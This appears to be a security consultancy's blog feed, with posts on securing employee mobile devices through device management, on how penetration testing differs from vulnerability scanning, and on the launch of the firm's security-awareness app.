
 

The post WPA2 Hacks and You appeared first on Connected.

Mobile Device Management

Mobile Device Management (MDM) is a great method to ensure that your employees remain productive and do not violate any corporate policies. In the ever-expanding Bring Your Own Device (BYOD) world, more organizations are allowing employees the freedom to work from their own mobile devices. Tablets, smart phones, and personal laptops are taking a larger and larger space on corporate networks.

While there are numerous advantages to a BYOD environment, allowing personal devices onto a corporate network introduces a variety of security threats. A Mobile Device Management solution helps in securing that environment.

Here are 5 Tips you should implement when securing your devices with a MDM approach:

  1. Require standards for password strength – Make sure that your MDM is configured to require device passcodes that meet or exceed guidelines concerning length, complexity, retry and timeout settings for the appropriate device.
  2. Device Update Compliance – Set a minimum required version for employee mobile devices. This will require that employee devices are kept updated and restrict devices that do not comply with this setting.
  3. Prevent Jail-breaking – Prevent jail-broken or ‘rooted’ mobile devices. Allowing these devices could add an additional attack vector as many ‘rooted’ or jail-broken devices install third-party app stores that may contain malicious apps. Preventing these devices helps secure access to company data.
  4. Require usage of signed apps and certificates – Use your MDM to screen any mobile devices for suspicious applications before allowing access to company resources. These could be email programs, mobile apps, and networks (Wi-Fi or company VPN access). As with jail-broken devices, unsigned apps and certificates may allow malware to infect the device.
  5. Seek Employee BuyIn – Prior to allowing a user device onto your network, require the user acknowledge and accept basic corporate policies. Make sure that the user understands that company administrators will be able to revoke and/or restrict access to devices that don’t comply with company policy.

The best idea is to decide your corporate strategy and then choose a MDM solution that fits your project. For more information on mobile device security, download our iPhone and Android Security Guides. If you would like to begin a conversation about Mobile Device Management, please CONTACT US.

Penetration Testing vs. Vulnerability Scanning

Frequently, new or existing clients will come to us requesting a penetration test. Usually, one of the first things we tell them is that they do not need a penetration test done…yet. Within IT, and within InfoSec specifically, there is a disconnect between terms used by industry professionals, their clients, and the media/public. Two of the most confusing terms are:

  • Penetration Testing
  • Vulnerability Scanning

Most clients will seek out security consulting services to have a ‘pen test’ performed, without knowing what a penetration test entails. Too often they picture a scene from Mr. Robot, or Hackers – someone in a darkened room, in front of a console, furiously typing away to hack into servers.

Most of our clients are organizations that have not worked with a security consulting firm before, but are used to working with managed service providers, so they expect to be sold hardware or software solutions. Because COMPASS is vendor agnostic, we evaluate what our clients’ needs are, and then offer a series of services that we think will help our clients achieve their goals.

As previously mentioned, we almost always have the conversation about Penetration Testing. Whenever we discuss this with our clients we try to help them understand the difference between a penetration test and a vulnerability scan. So, let us get into defining the two:

Penetration Test

A Penetration Test has a specific goal, to exploit weaknesses and gain access to data within your network, to achieve administrator privileges or possibly alter financial data. A Penetration Test should not be performed as a start to your information security program. It should be something performed when you have a security configuration in place that needs to be tested for example; once you have established a patch management process, hardened network devices and essentially closed any known gaps within your network architecture.

A Penetration Test should only be performed once vulnerability assessments have been executed and all remediations implemented, since they can be expensive and should be employed when you want to test security that is already assumed to be in place and adequate.

Vulnerability Scan/Assessment

A Vulnerability Scan or Assessment, whichever flavor you prefer, should be an organization’s first step in building a strong security stance. Vulnerability scans are technical assessments that that are designed to discover as many vulnerabilities as possible within a target network. Vulnerability scan reports include severity ratings for the discovered vulnerabilities, remediation/mitigate instructions and allows for prioritization of vulnerability remediation.

A Vulnerability Scan/Assessment should be performed at the start of your security journey. It will help you to generate a prioritized list of things wrong with the network, from OS patches and third-party vulnerabilities to open ports and services running on perimeter devices. The goal of a vulnerability scan should always be to fix as many findings as possible.

For more information on how to get started with your security assessment, download our Cyber Security Assessment Checklist or CONTACT US for a deeper discussion.

COMPASS Cyber Security Mobile Application

As a part of COMPASS Cyber Security’s ongoing commitment to raising cyber security awareness in the community, we are excited to announce the launch of our very own mobile application! By downloading this app, users will be provided with real-time cyber security threat alerts, best practice tips, and applicable guidance, so they can be prepared for the cyber security risks they may face. It is COMPASS’ mission to “shift the world’s data to be safe and secure” and this app is a testament to that by offering businesses and consumers valuable content they can use to protect their data.

Download the COMPASS Cyber Security app in the iTunes and Google Play stores to begin improving your cyber security posture!